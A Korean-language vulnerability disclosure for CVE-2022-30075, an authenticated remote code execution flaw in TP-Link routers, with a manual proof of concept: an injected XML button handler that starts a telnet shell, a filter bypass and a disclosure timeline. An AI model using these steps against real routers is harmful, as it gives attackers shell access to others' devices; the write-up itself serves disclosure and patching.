CVE-2022-30075

Tp-Link 라우터에서의 인증된 원격 코드 실행

영향을 받는 장치

Tp-Link 라우터에 백업 및 복원 기능이 있고 펌웨어가 2022년 6월보다 오래된 경우 취약할 가능성이 있습니다.

테스트 환경

Tp-Link Archer AX50, 다른 Tp-Link 라우터는 다른 형식의 백업을 사용할 수 있으며 익스플로잇을 수정해야 할 수 있습니다.

PoC

라우터에서 텔넷 데몬을 시작하기 위한 익스플로잇 사용

수동 익스플로잇

1. 라우터 웹 인터페이스에 로그인합니다.
2. 고급 -> 시스템 -> 백업 설정으로 이동합니다.
3. 백업 파일을 복호화하고 압축 해제합니다.

• 라우터가 다른 형식의 백업 파일을 사용하는 경우 익스플로잇 코드(BackupParser 클래스)를 수정하거나 GitHub의 도구를 사용할 수 있습니다: https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py https://github.com/ret5et/tplink_backup_decrypt_2022.bin ...

4. 복호화된 XML 파일에서 다음과 같은 내용을 찾을 수 있습니다:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• 다음 줄로 교체합니다

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• system.button.handler 매개변수 수정을 차단하는 제한이 있지만, 상위 XML 노드의 이름을 변경하면 쉽게 우회할 수 있습니다(예: name="exploit").
• 코드 실행은 system.button.handler 매개변수 변경뿐만 아니라 ddns.service.ip_script, firewall.include.path, uhttpd.main 등을 사용해서도 가능합니다...

5. 수정된 백업 파일을 압축하고 암호화합니다.
6. 고급 -> 시스템 -> 복원 설정으로 이동하여 수정된 백업 파일을 업로드합니다.
7. 재부팅 후, LED 버튼을 눌러 주입된 명령 /usr/sbin/telnetd -l /bin/login.sh을 실행합니다.
8. 원격으로 라우터에 로그인: telnet 192.168.1.1

타임라인

15.03.2022 - 취약점 식별 15.03.2022 - Tp-Link 지원팀에 연락 16.03.2022 - Tp-Link로부터 응답 수신 02.05.2022 - CVE 할당 27.05.2022 - Tp-Link가 취약점이 수정된 펌웨어 출시 07.06.2022 - 기술 세부 정보 공개